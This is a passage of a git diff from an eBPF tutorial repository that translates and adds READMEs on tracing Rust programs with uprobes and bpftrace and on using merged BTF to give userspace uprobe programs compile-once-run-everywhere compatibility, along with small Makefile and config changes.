phenomenon: multiple calls, getting parameters -对于一个更复杂的例子,包含多次调用和获取参数: +For a more complex example, which includes multiple calls and parameter fetching: ```rust use std::env; @@ -97,7 +99,7 @@ fn main() { } ``` -我们再次进行类似的操作,会发现一个奇怪的现象: +We repeat a similar operation and notice a strange phenomenon: ```console $ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }' @@ -105,7 +107,7 @@ Attaching 1 probe... Function hello-world called ``` -这时候我们希望 hello 函数运行多次,但 bpftrace 中只输出了一次调用: +At this point we expect the hello function to run several times, but bpftrace only prints out one call: ```console $ args/target/release/helloworld 1 2 3 4 @@ -119,7 +121,7 @@ Hello, world! 4 in 5 return value: 9 ``` -而且看起来 bpftrace 并不能正确获取参数: +And it appears that bpftrace cannot correctly get the parameter: ```console $ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called %d\n" @@ -128,7 +130,7 @@ Attaching 1 probe... Function hello-world called 63642464 ``` -Uretprobe 捕捉到了第一次调用的返回值: +The Uretprobe did catch the return value of the first call: ```console $ sudo bpftrace -e 'uretprobe:args/tar @@ -139,10 +141,10 @@ Attaching 1 probe... Function hello-world called 6 ``` -这可能是由于 Rust 没有稳定的 ABI。 Rust,正如它迄今为止所存在的那样,保留了以任何它想要的方式对这些结构成员进行排序的权利。 因此,被调用者的编译版本可能会完全按照上面的方式对成员进行排序,而调用库的编程的编译版本可能会认为它实际上是这样布局的: +This may due to Rust does not have a stable ABI. Rust, as it has existed so far, has reserved the right to order those struct members any way it wants. So the compiled version of the callee might order the members exactly as above, while the compiled version of the programming calling into the library might think its actually laid out like this: -TODO: 进一步分析(未完待续) +TODO: Further analysis (to be continued) -## 参考资料 +## References - diff --git a/src/37-uprobe-rust/README.zh.md b/src/37-uprobe-rust/README.zh.md new file mode 100644 index 00000000..f8d56672 --- /dev/null +++ b/src/37-uprobe-rust/README.zh.md @@ -0,0 +1,148 @@ +# eBPF 实践:使用 Uprobe 追踪用户态 Rust 应用 + +eBPF,即扩展的Berkeley包过滤器(Extended Berkeley Packet Filter),是Linux内核中的一种革命性技术,它允许开发者在内核态中运行自定义的“微程序”,从而在不修改内核代码的情况下改变系统行为或收集系统细粒度的性能数据。 + +本文讨论如何使用 Uprobe 和 eBPF 追踪用户态 Rust 应用,包括如何获取符号名称并 attach、获取函数参数、获取返回值等。本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到: 源代码在 [GitHub 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial) 中开源。 + +## Uprobe + +Uprobe是一种用户空间探针,uprobe探针允许在用户空间程序中动态插桩,插桩位置包括:函数入口、特定偏移处,以及函数返回处。当我们定义uprobe时,内核会在附加的指令上创建快速断点指令(x86机器上为int3指令),当程序执行到该指令时,内核将触发事件,程序陷入到内核态,并以回调函数的方式调用探针函数,执行完探针函数再返回到用户态继续执行后序的指令。 + +uprobe 适用于在用户态去解析一些内核态探针无法解析的流量,例如 http2 流量,https 流量,同时也可以分析程序运行时、业务逻辑等。关于 Uprobe 的更多信息,可以参考: + +- [eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据](../30-sslsniff/README.md) +- [eBPF 实践教程:使用 uprobe 捕获 Golang 的协程切换](../31-goroutine/README.md) +- [eBPF 实践教程:使用 uprobe 捕获用户态 http2 流量](../32-http2/README.md) + +Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF Uprobe 程序,和内核态的 eBPF 兼容,由于避免了内核态和用户态之间的上下文切换,bpftime 的 Uprobe 开销比内核少约 10 倍,并且也更容易扩展。 + +## Rust + +Rust 是一种开源的系统编程语言,注重安全、速度和并行性。它于2010年由Graydon Hoare在Mozilla研究中心开发,并于2015年发布了第一个稳定版本。Rust 语言的设计哲学旨在提供C++的性能优势,同时大幅减少内存安全漏洞。Rust在系统编程领域逐渐受到欢迎,特别是在需要高性能、安全性和可靠性的应用场景,例如操作系统、文件系统、游戏引擎、网络服务等领域。许多大型技术公司,包括Mozilla、Google、Microsoft和Amazon等,都在使用或支持Rust语言。 + +可以参考 [Rust 官方网站](https://www.rust-lang.org/) 了解更多 Rust 语言的信息,并安装 Rust 的工具链。 + +## 最简单的例子:Symbol name mangling + +我们先来看一个简单的例子,使用 Uprobe 追踪 Rust 程序的 `main` 函数,代码如下: + +```rust +pub fn hello() -> i32 { + println!("Hello, world!"); + 0 +} + +fn main() { + hello(); +} +``` + +构建和尝试获取符号: + +```console +$ cd helloworld +$ cargo build +$ nm helloworld/target/release/helloworld | grep hello +0000000000008940 t _ZN10helloworld4main17h2dce92cb81426b91E +``` + +我们会发现,对应的符号被转换为了 `_ZN10helloworld4main17h2dce92cb81426b91E`,这是因为 rustc 使用 [Symbol name mangling](https://en.wikipedia.org/wiki/Name_mangling) 来为代码生成过程中使用的符号编码一个唯一的名称。编码后的名称会被链接器用于将名称与所指向的内容关联起来。可以使用 -C symbol-mangling-version 选项来控制符号名称的处理方法。 + +我们可以使用 [`rustfilt`](https://github.com/luser/rustfilt) 工具来解析和获取对应的符号。这个工具可以通过 `cargo install rustfilt` 安装: + +```console +$ cargo install rustfilt +$ nm helloworld/target/release/helloworld > name.txt +$ rustfilt _ZN10helloworld4main17h2dce92cb81426b91E +helloworld::main +$ rustfilt -i name.txt | grep hello +0000000000008b60 t helloworld::main +``` + +接下来我们可以尝试使用 bpftrace 跟踪对应的函数: + +```console +$ sudo bpftrace -e 'uprobe:helloworld/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }' +Attaching 1 probe... +Function hello-world called +``` + +## 一个奇怪的现象:多次调用、获取参数 + +对于一个更复杂的例子,包含多次调用和获取参数: + +```rust +use std::env; + +pub fn hello(i: i32, len: usize) -> i32 { + println!("Hello, world! {} in {}", i, len); + i + len as i32 +} + +fn main() { + let args: Vec = env::args().collect(); + + // Skip the first argument, which is the path to the binary, and iterate over the rest + for arg in args.iter().skip(1) { + match arg.parse::() { + Ok(i) => { + let ret = hello(i, args.len()); + println!("return value: {}", ret); + } + Err(_) => { + eprintln!("Error: Argument '{}' is not a valid integer", arg); + } + } + } +} +``` + +我们再次进行类似的操作,会发现一个奇怪的现象: + +```console +$ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }' +Attaching 1 probe... +Function hello-world called +``` + +这时候我们希望 hello 函数运行多次,但 bpftrace 中只输出了一次调用: + +```console +$ args/target/release/helloworld 1 2 3 4 +Hello, world! 1 in 5 +return value: 6 +Hello, world! 2 in 5 +return value: 7 +Hello, world! 3 in 5 +return value: 8 +Hello, world! 4 in 5 +return value: 9 +``` + +而且看起来 bpftrace 并不能正确获取参数: + +```console +$ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called %d\n" +, arg0); }' +Attaching 1 probe... +Function hello-world called 63642464 +``` + +Uretprobe 捕捉到了第一次调用的返回值: + +```console +$ sudo bpftrace -e 'uretprobe:args/tar +get/release/helloworld:_ZN10helloworld4main17h2dce92 +cb81426b91E { printf("Function hello-world called %d +\n", retval); }' +Attaching 1 probe... +Function hello-world called 6 +``` + +这可能是由于 Rust 没有稳定的 ABI。 Rust,正如它迄今为止所存在的那样,保留了以任何它想要的方式对这些结构成员进行排序的权利。 因此,被调用者的编译版本可能会完全按照上面的方式对成员进行排序,而调用库的编程的编译版本可能会认为它实际上是这样布局的: + +TODO: 进一步分析(未完待续) + +## 参考资料 + +- diff --git a/src/37-uprobe-rust/README_en.md b/src/37-uprobe-rust/README_en.md deleted file mode 100644 index 991871b0..00000000 --- a/src/37-uprobe-rust/README_en.md +++ /dev/null @@ -1,148 +0,0 @@ -# eBPF Practice: Tracing User Space Rust Applications with Uprobe - -eBPF, or Extended Berkeley Packet Filter, is a revolutionary technology in the Linux kernel that allows developers to run custom "micro-programs" in kernel mode, thus changing system behavior or collecting granular performance data without modifying the kernel code. - -This article discusses how to trace user space Rust applications with Uprobe and eBPF, including how to obtain symbol names and attach them, get function parameters, get return values, etc. This article is part of the eBPF developer tutorial, more detailed content can be found here: The source code is open source in the [GitHub repository](https://github.com/eunomia-bpf/bpf-developer-tutorial). - -## Uprobe - -Uprobe is a user space probe. Uprobe probes allow dynamic instrumentation in user space programs, with instrumentation locations including: function entry points, specific offsets, and function return points. When we define a Uprobe, the kernel creates a fast breakpoint instruction (the int3 instruction on x86 machines) at the attached instruction. When the program executes this instruction, the kernel triggers an event, the program falls into kernel mode, and the probe function is called in a callback manner. After the probe function is executed, it returns to user mode to continue executing subsequent instructions. - -Uprobe is useful for parsing traffic in user space that cannot be parsed by kernel probes, such as http2 traffic, https traffic, and can also analyze runtime program, business logic, etc. For more information about Uprobe, you can refer to: - -- [eBPF practice tutorial: Use Uprobe to capture plaintext SSL/TLS data from various libraries](../30-sslsniff/README.md) -- [eBPF practice tutorial: Use Uprobe to capture Golang coroutine switching](../31-goroutine/README.md) -- [eBPF practice tutorial: Use Uprobe to capture user space http2 traffic](../32-http2/README.md) - -Running Uprobe in kernel mode eBPF might also produce significant performance overhead, in which case you might consider using user space eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user-space eBPF runtime based on LLVM JIT/AOT. It can run eBPF Uprobe programs in user mode and is compatible with kernel mode eBPF. Because it avoids context switching between user and kernel modes, bpftime's Uprobe overheads are about 10 times less than the kernel's, and it also more easy to extend. - -## Rust - -Rust is an open-source systems programming language that focuses on safety, speed, and concurrency. It was developed by Graydon Hoare at the Mozilla Research Center in 2010 and released its first stable version in 2015. The design philosophy of Rust language is to provide the performance advantages of C++ while greatly reducing memory safety vulnerabilities. Rust is gradually popular in the field of systems programming, especially in applications that require high performance, security, and reliability, such as operating systems, file systems, game engines, network services, etc. Many large technology companies, including Mozilla, Google, Microsoft, and Amazon, are using or supporting the Rust language. - -You can refer to the [official Rust website](https://www.rust-lang.org/) for more information about Rust language and install the Rust toolchain. - -## Simplest example: Symbol name mangling - -Let's start with a simple example, tracing the `main` function of a Rust program with Uprobe, with the code as follows: - -```rust -pub fn hello() -> i32 { - println!("Hello, world!"); - 0 -} - -fn main() { - hello(); -} -``` - -Build and try to get the symbol: - -```console -$ cd helloworld -$ cargo build -$ nm helloworld/target/release/helloworld | grep hello -0000000000008940 t _ZN10helloworld4main17h2dce92cb81426b91E -``` - -We find that the corresponding symbol has been converted to `_ZN10helloworld4main17h2dce92cb81426b91E`. This is because rustc uses [Symbol name mangling](https://en.wikipedia.org/wiki/Name_mangling) to encode a unique name for the symbols used in the code generation process. The encoded name will be used by the linker to associate the name with the content it points to. The -C symbol-mangling-version option can be used to control the handling of symbol names. - -We can use the [`rustfilt`](https://crates.io/crates/rustfilt) tool to parse and obtain the corresponding symbol: - -```console -$ cargo install rustfilt -$ nm helloworld/target/release/helloworld > name.txt -$ rustfilt _ZN10helloworld4main17h2dce92cb81426b91E -helloworld::main -$ rustfilt -i name.txt | grep hello -0000000000008b60 t helloworld::main -``` - -Next we can try to use bpftrace to trace the corresponding function: - -```console -$ sudo bpftrace -e 'uprobe:helloworld/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }' -Attaching 1 probe... -Function hello-world called -``` - -## A strange phenomenon: multiple calls, getting parameters - -For a more complex example, which includes multiple calls and parameter fetching: - -```rust -use std::env; - -pub fn hello(i: i32, len: usize) -> i32 { - println!("Hello, world! {} in {}", i, len); - i + len as i32 -} - -fn main() { - let args: Vec = env::args().collect(); - - // Skip the first argument, which is the path to the binary, and iterate over the rest - for arg in args.iter().skip(1) { - match arg.parse::() { - Ok(i) => { - let ret = hello(i, args.len()); - println!("return value: {}", ret); - } - Err(_) => { - eprintln!("Error: Argument '{}' is not a valid integer", arg); - } - } - } -} -``` - -We repeat a similar operation and notice a strange phenomenon: - -```console -$ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }' -Attaching 1 probe... -Function hello-world called -``` - -At this point we expect the hello function to run several times, but bpftrace only prints out one call: - -```console -$ args/target/release/helloworld 1 2 3 4 -Hello, world! 1 in 5 -return value: 6 -Hello, world! 2 in 5 -return value: 7 -Hello, world! 3 in 5 -return value: 8 -Hello, world! 4 in 5 -return value: 9 -``` - -And it appears that bpftrace cannot correctly get the parameter: - -```console -$ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called %d\n" -, arg0); }' -Attaching 1 probe... -Function hello-world called 63642464 -``` - -The Uretprobe did catch the return value of the first call: - -```console -$ sudo bpftrace -e 'uretprobe:args/tar -get/release/helloworld:_ZN10helloworld4main17h2dce92 -cb81426b91E { printf("Function hello-world called %d -\n", retval); }' -Attaching 1 probe... -Function hello-world called 6 -``` - -This may due to Rust does not have a stable ABI. Rust, as it has existed so far, has reserved the right to order those struct members any way it wants. So the compiled version of the callee might order the members exactly as above, while the compiled version of the programming calling into the library might think its actually laid out like this: - -TODO: Further analysis (to be continued) - -## References - -- diff --git a/src/38-btf-uprobe/.config b/src/38-btf-uprobe/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/38-btf-uprobe/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/38-btf-uprobe/.gitignore b/src/38-btf-uprobe/.gitignore index 743f134c..a01af291 100644 --- a/src/38-btf-uprobe/.gitignore +++ b/src/38-btf-uprobe/.gitignore @@ -2,3 +2,4 @@ uprobe merge-btf *.btf +uprobe_failed diff --git a/src/38-btf-uprobe/Makefile b/src/38-btf-uprobe/Makefile index dc1a02d6..abc3f804 100644 --- a/src/38-btf-uprobe/Makefile +++ b/src/38-btf-uprobe/Makefile @@ -66,7 +66,14 @@ $(call allow-override,CC,$(CROSS_COMPILE)cc) $(call allow-override,LD,$(CROSS_COMPILE)ld) .PHONY: all -all: $(APPS) merge-btf +all: $(APPS) + +.PHONY: all-btf +all-btf: merge-btf + make -C examples + ./merge-btf /sys/kernel/btf/vmlinux examples/base-new.btf target-base-new.btf + ./merge-btf /sys/kernel/btf/vmlinux examples/base.btf target-base.btf + ./merge-btf /sys/kernel/btf/vmlinux examples/base-complete.btf target-base-complete.btf .PHONY: clean clean: diff --git a/src/38-btf-uprobe/README.md b/src/38-btf-uprobe/README.md index b45b35e1..ffbca46b 100644 --- a/src/38-btf-uprobe/README.md +++ b/src/38-btf-uprobe/README.md @@ -1,43 +1,52 @@ -# 借助 eBPF 和 BTF,让用户态也能一次编译、到处运行 +# Expanding eBPF Compile Once, Run Everywhere(CO-RE) to Userspace Compatibility -在现代 Linux 系统中,eBPF(扩展的 Berkeley Packet Filter)是一项强大而灵活的技术。它允许在内核中运行沙盒化程序,类似于虚拟机环境,为扩展内核功能提供了一种既安全又不会导致系统崩溃或安全风险的方法。 +> Yusheng -eBPF 中的 “co-re” 代表“一次编译、到处运行”。这是其关键特征之一,用于解决 eBPF 程序在不同内核版本间兼容性的主要挑战。eBPF 的 CO-RE 功能可以实现在不同的内核版本上运行同一 eBPF 程序,而无需重新编译。 +eBPF, short for extended Berkeley Packet Filter, is a powerful and versatile technology used in modern Linux systems. It allows for the running of sandboxed programs in a virtual machine-like environment within the kernel, providing a safe way to extend the capabilities of the kernel without the risk of crashing the system or compromising security. -利用 eBPF 的 Uprobe 功能,可以追踪用户空间应用程序并访问其内部数据结构。然而,用户空间应用程序的 CO-RE 实践目前尚不完善。本文将介绍一种新方法,利用 CO-RE 为用户空间应用程序确保 eBPF 程序在不同应用版本间的兼容性,从而避免了多次编译的需求。例如,在从加密流量中捕获 SSL/TLS 明文数据时,你或许不需要为每个版本的 OpenSSL 维护一个单独的 eBPF 程序。 +Co-RE, standing for 'Compile Once, Run Everywhere', tackles the critical issue of eBPF program compatibility across diverse kernel versions. This feature allows eBPF programs to run on various kernel versions without the need for recompilation, simplifying deployment and maintenance. -为了在用户空间应用程序中实现eBPF的“一次编译、到处运行”(Co-RE)特性,我们需要利用BPF类型格式(BTF)来克服传统eBPF程序的一些限制。这种方法的关键在于为用户空间程序提供与内核类似的类型信息和兼容性支持,从而使得eBPF程序能够更灵活地应对不同版本的用户空间应用和库。 +With eBPF Uprobe, you can also trace userspace applications and access their internal data structures. However, the CO-RE is not designed for userspace applications. This blog will introduce how to leverage CO-RE for user-space applications, ensuring eBPF Uprobe programs remain compatible across different application versions without the need for multiple compilations. -本文是eBPF开发者教程的一部分,详细内容可访问[https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/)。本文完整的代码请查看 。 +This approach may be particularly beneficial for tracing applications like OpenSSL, where maintaining separate eBPF programs for each version is impractical. With userspace eBPF runtimes like bpftime, you can also expand the CO-RE to more usecases, including extensions, networking, and dynamic patching, providing versatile and efficient solutions. -## 为什么我们需要CO-RE? +To implement the Co-RE feature of eBPF in user-space applications, we also need to utilize the BPF Type Format (BTF) to overcome some of the limitations of traditional eBPF programs. The key to this approach lies in providing user-space programs with similar type information and compatibility support as the kernel, thereby enabling eBPF programs to more flexibly handle different versions of user-space applications and libraries. -- **内核依赖性**:传统的eBPF程序和它们被编译的特定Linux内核版本紧密耦合。这是因为它们依赖于内核的特定内部数据结构和API,这些可能在内核版本间变化。 -- **可移植性问题**:如果你想在带有不同内核版本的不同Linux系统上运行一个eBPF程序,你通常需要为每个内核版本重新编译eBPF程序,这是一个麻烦而低效的过程。 +This article is part of the eBPF Developer Tutorial, and for more detailed content, you can visit [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/). -### Co-RE的解决方案 +> The complete source code: -- **抽象内核依赖性**:Co-RE使eBPF程序更具可移植性,通过使用BPF类型格式(BTF)和重定位来抽象特定的内核依赖。 -- **BPF类型格式(BTF)**:BTF提供了关于内核中数据结构和函数的丰富类型信息。这些元数据允许eBPF程序在运行时理解内核结构的布局。 -- **重定位**:编译支持Co-RE的eBPF程序包含在加载时解析的重定位。这些重定位根据运行内核的实际布局和地址调整程序对内核数据结构和函数的引用。 +## Why we need CO-RE? -### Co-RE的优点 +- **Kernel Dependencies**: Traditional eBPF programs are tightly coupled with the specific Linux kernel version they are compiled for. This is because they rely on specific internal data structures and kernel APIs which can change between kernel versions. +- **Portability Issues**: If you wanted to run an eBPF program on different Linux systems with different kernel versions, you'd traditionally have to recompile the eBPF program for each kernel version, which is a cumbersome and inefficient process. -1. **编写一次,任何地方运行**:编译有Co-RE的eBPF程序可以在不同的内核版本上运行,无需重新编译。这大大简化了在多样环境中部署和维护eBPF程序。 -2. **安全和稳定**:Co-RE保持了eBPF的安全性,确保程序不会导致内核崩溃,遵守安全约束。 -3. **简单的开发**:开发者不需要关注每个内核版本的具体情况,这简化了eBPF程序的开发。 +### The Co-RE Solution -## 用户空间应用程序CO-RE的问题 +- **Abstracting Kernel Dependencies**: Co-RE enables eBPF programs to be more portable by abstracting away specific kernel dependencies. This is achieved through the use of BPF Type Format (BTF) and relocations. +- **BPF Type Format (BTF)**: BTF provides rich type information about data structures and functions in the kernel. This metadata allows eBPF programs to understand the layout of kernel structures at runtime. +- **Relocations**: eBPF programs compiled with Co-RE support contain relocations that are resolved at load time. These relocations adjust the program's references to kernel data structures and functions according to the actual layout and addresses in the running kernel. -eBPF也支持追踪用户空间应用程序。Uprobe是一个用户空间探针,允许对用户空间程序进行动态仪表装置。探针位置包括函数入口、特定偏移和函数返回。 +### Advantages of Co-RE -BTF是为内核设计的,生成自vmlinux,它可以帮助eBPF程序方便地兼容不同的内核版本。但是,用户空间应用程序也需要CO-RE。例如,SSL/TLS uprobe被广泛用于从加密流量中捕获明文数据。它是用用户空间库实现的,如OpenSSL、GnuTLS、NSS等。用户空间应用程序和库也有各种版本,如果我们需要为每个版本编译和维护eBPF程序,那就会很复杂。 +1. **Write Once, Run Anywhere**: eBPF programs compiled with Co-RE can run on different kernel versions without the need for recompilation. This greatly simplifies the deployment and maintenance of eBPF programs in diverse environments. +2. **Safety and Stability**: Co-RE maintains the safety guarantees of eBPF, ensuring that programs do not crash the kernel and adhere to security constraints. +3. **Ease of Development**: Developers don't need to worry about the specifics of each kernel version, which simplifies the development of eBPF programs. -下面是一些新的工具和方法,可以帮助我们为用户空间应用程序启用CO-RE。 +## Problem: userspace application CO-RE -## 用户空间程序的BTF +The eBPF also supports tracing userspace applications. Uprobe is a user-space probe that allows dynamic instrumentation in user-space programs. The probe locations include function entry, specific offsets, and function returns. + +The BTF is designed for the kernel and generated from vmlinux, it can help the eBPF program to be easily compatible with different kernel versions. + +The userspace application, however, also need CO-RE. For example, the SSL/TLS uprobe is widely used to capture the plaintext data from the encrypted traffic. It is implemented with the userspace library, such as OpenSSL, GnuTLS, NSS, etc. The userspace application and libraries also has different versions, it would be complex if we need to compile and maintain the eBPF program for each version. + +Let's see what will happen if CO-RE is not enabled for userspace applications, and how the BTF from userspace applications can solve this. + +## No BTF for userspace program + +This is a simple uprobe example, it can capture the function call and arguments of the `add_test` function in the userspace program. You can add `#define BPF_NO_PRESERVE_ACCESS_INDEX` in the `uprobe.bpf.c` to make sure the eBPF program can be compiled without BTF for `struct data`. -这是一个简单的uprobe例子,它可以捕获用户空间程序的`add_test`函数的调用和参数。你可以在`uprobe.bpf.c`中添加`#define BPF_NO_PRESERVE_ACCESS_INDEX`来确保eBPF程序可以在没有`struct data`的BTF的情况下编译。 ```c #define BPF_NO_GLOBAL_DATA @@ -65,9 +74,9 @@ int BPF_UPROBE(add_test, struct data *d) char LICENSE[] SEC("license") = "Dual BSD/GPL"; ``` -然后,我们有两个不同版本的用户空间程序,`examples/btf-base`和`examples/btf-base-new`。两个版本中的struct `data`是不同的。 +Then, we have two different versions of the userspace program, `examples/btf-base` and `examples/btf-base-new`. The struct `data` is different in the two versions. -`examples/btf-base`: +`examples/btf-base`: ```c // use a different struct @@ -88,7 +97,7 @@ int main(int argc, char **argv) { } ``` -`examples/btf-base-new`: +`examples/btf-base-new`: ```c struct data { @@ -109,57 +118,59 @@ int main(int argc, char **argv) { } ``` -我们可以使用pahole和clang来生成每个版本的btf。制作示例并生成btf: +We can use pahole and clang to generate the btf for each version of userspace applications. The pahole tool can simply generate BTF from the debug info: + +make examples and generate btf for them: ```sh make -C example # it's like: pahole --btf_encode_detached base.btf btf-base.o ``` -然后我们执行eBPF程序和用户空间程序。 对于 `btf-base`: +The we execute the eBPF program with the userspace program. for `btf-base`: ```sh sudo ./uprobe examples/btf-base ``` -也是用户空间程序: +And also the userspace program: ```console $ examples/btf-base add_test(&d) = 4 ``` -我们将看到: +We will see: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe\ <...>-25458 [000] ...11 27694.081465: bpf_trace_printk: add_test(&d) 1 + 3 = 4 ``` -对于 `btf-base-new`: +For `btf-base-new`: ```sh sudo ./uprobe examples/btf-base-new ``` -同时也是用户空间程序: +And also the userspace program: ```console $ examples/btf-base-new add_test(&d) = 4 ``` -但我们可以看到: +But we will see: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe\ <...>-25809 [001] ...11 27828.314224: bpf_trace_printk: add_test(&d) 1 + 2 = 3 ``` -结果是不同的,因为两个版本中的struct `data`是不同的。eBPF程序无法与不同版本的用户空间程序兼容,我们获取到了错误的结构体偏移量,也会导致我们追踪失败。 +The result is different, because the struct `data` is different in the two versions. The eBPF program can't be compatible with different versions of the userspace program, so we cannot get the correct information. -## 使用用户空间程序的BTF +## Use BTF for userspace program -在`uprobe.bpf.c`中注释掉`#define BPF_NO_PRESERVE_ACCESS_INDEX` ,以确保eBPF程序可以以`struct data`的BTF编译。 +Comment the `#define BPF_NO_PRESERVE_ACCESS_INDEX` in the `uprobe.bpf.c` to make sure the eBPF program can be compiled with BTF for `struct data`. ```c #define BPF_NO_GLOBAL_DATA @@ -182,6 +193,7 @@ struct data { #pragma clang attribute pop #endif + SEC("uprobe/examples/btf-base:add_test") int BPF_UPROBE(add_test, struct data *d) { @@ -195,15 +207,15 @@ int BPF_UPROBE(add_test, struct data *d) char LICENSE[] SEC("license") = "Dual BSD/GPL"; ``` -`struct data`的记录在eBPF程序中被保留下来。然后,我们可以使用 `btf-base.btf`来编译eBPF程序。 +The record of `struct data` is preserved in the eBPF program. Then, we can use the `btf-base.btf` to compile the eBPF program. -将用户btf与内核btf合并,这样我们就有了一个完整的内核和用户空间的btf: +Merge user btf with kernel btf, so we have a complete btf for the kernel and userspace: ```sh ./merge-btf /sys/kernel/btf/vmlinux examples/base.btf target-base.btf ``` -然后我们使用用户空间程序执行eBPF程序。 对于 `btf-base`: +Then we execute the eBPF program with the userspace program. for `btf-base`: ```console $ sudo ./uprobe examples/btf-base target-base.btf @@ -215,15 +227,16 @@ libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 4 ... ``` -执行用户空间程序并获取结果: +Execute the userspace program and get result: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe [sudo] password for yunwei37: <...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4 + ``` -还可以对另一个版本的用户空间程序`btf-base-new`做同样的操作: +Also, we do the same for another version of the userspace program `btf-base-new`: ```console $ ./merge-btf /sys/kernel/btf/vmlinux examples/base-new.btf target-base-new.btf @@ -245,7 +258,7 @@ libbpf: elf: symbol address match for 'add_test' in 'examples/btf-base-new': 0x1 Successfully started! Press Ctrl+C to stop. ``` -结果是正确的: +The result is correct: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe @@ -253,46 +266,50 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4 ``` -我们的 eBPF 追踪程序也几乎不需要进行任何修改,只需要把包含 kernel 和用户态结构体偏移量的 BTF 加载进来即可。这和旧版本内核上没有 btf 信息的使用方式是一样的: +For complete source code, you can visit [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/38-btf-uprobe](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/38-btf-uprobe) for more details. + +The eBPF uprobe tracing program almost doesn't need any modifications. We just need to load the BTF containing the offsets of kernel and user-space structures. This is the same usage as enabling CO-RE on older kernel versions without BTF information: ```c - LIBBPF_OPTS(bpf_object_open_opts , opts, - ); - LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); - if (argc != 3 && argc != 2) { - fprintf(stderr, "Usage: %s []\n", argv[0]); - return 1; - } - if (argc == 3) - opts.btf_custom_path = argv[2]; - - /* Set up libbpf errors and debug info callback */ - libbpf_set_print(libbpf_print_fn); - - /* Cleaner handling of Ctrl-C */ - signal(SIGINT, sig_handler); - signal(SIGTERM, sig_handler); - - /* Load and verify BPF application */ - skel = uprobe_bpf__open_opts(&opts); - if (!skel) { - fprintf(stderr, "Failed to open and load BPF skeleton\n"); - return 1; - } + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } ``` -实际上,btf 实现重定向需要两个部分,一个是 bpf 程序带的编译时的 btf 信息,一个是内核的 btf 信息。在实际加载 ebpf 程序的时候,libbpf 会根据当前内核上准确的 btf 信息,来修改可能存在错误的 ebpf 指令,确保在不同内核版本上能够兼容。 +In fact, the BTF implementation for relocation requires two parts: the compile-time BTF information carried by the BPF program, and the BTF information of the kernel when loading the eBPF program. When actually loading the eBPF program, libbpf will modify potentially incorrect eBPF instructions based on the accurate BTF information of the current kernel, ensuring compatibility across different kernel versions. + +Interestingly, libbpf does not differentiate whether these BTF information come from user-space programs or the kernel. Therefore, by merging the user-space BTF information with kernel BTF and provide them to libbpf, the problem is solved. -有趣的是,实际上 libbpf 并不区分这些 btf 信息来自用户态程序还是内核,因此我们只要把用户态的重定向信息一起提供给 libbpf 进行重定向,问题就解决了。 +And also, since the relocation is happened in userspace loader(like libbpf), both kernel eBPF runtime and userspace eBPF runtimes(Such as bpftime) can benefit from the CO-RE. bpftime () is an open-source user-space eBPF runtime based on LLVM JIT/AOT. It enables the execution of eBPF programs in user space, compatible with kernel-space eBPF. While supporting uprobes, syscall trace, and general plugin extensions, it avoids the context switching between kernel and user spaces, thereby enhancing the execution efficiency of uprobe programs. With the support of libbpf and BTF, bpftime can also dynamically extend user-space applications, achieving compatibility across different versions of user-space programs. -本文的工具和完整的代码在 开源。 +For more details about BTF relocation, you may refer to -## 结论 +## Conclusion -- **灵活性和兼容性**:在用户空间eBPF程序中使用 BTF 大大增强了它们在不同版本的用户空间应用程序和库之间的灵活性和兼容性。 -- **简化了复杂性**:这种方法显著减少了维护不同版本的用户空间应用程序的eBPF程序的复杂性,因为它消除了需要多个程序版本的需要。 -- **更广泛的应用**:这种方法在性能监控、安全和用户空间应用程序的调试等方面也可能能有更广泛的应用。bpftime(https://github.com/eunomia-bpf/bpftime) 是一个开源的基于 LLVM JIT/AOT 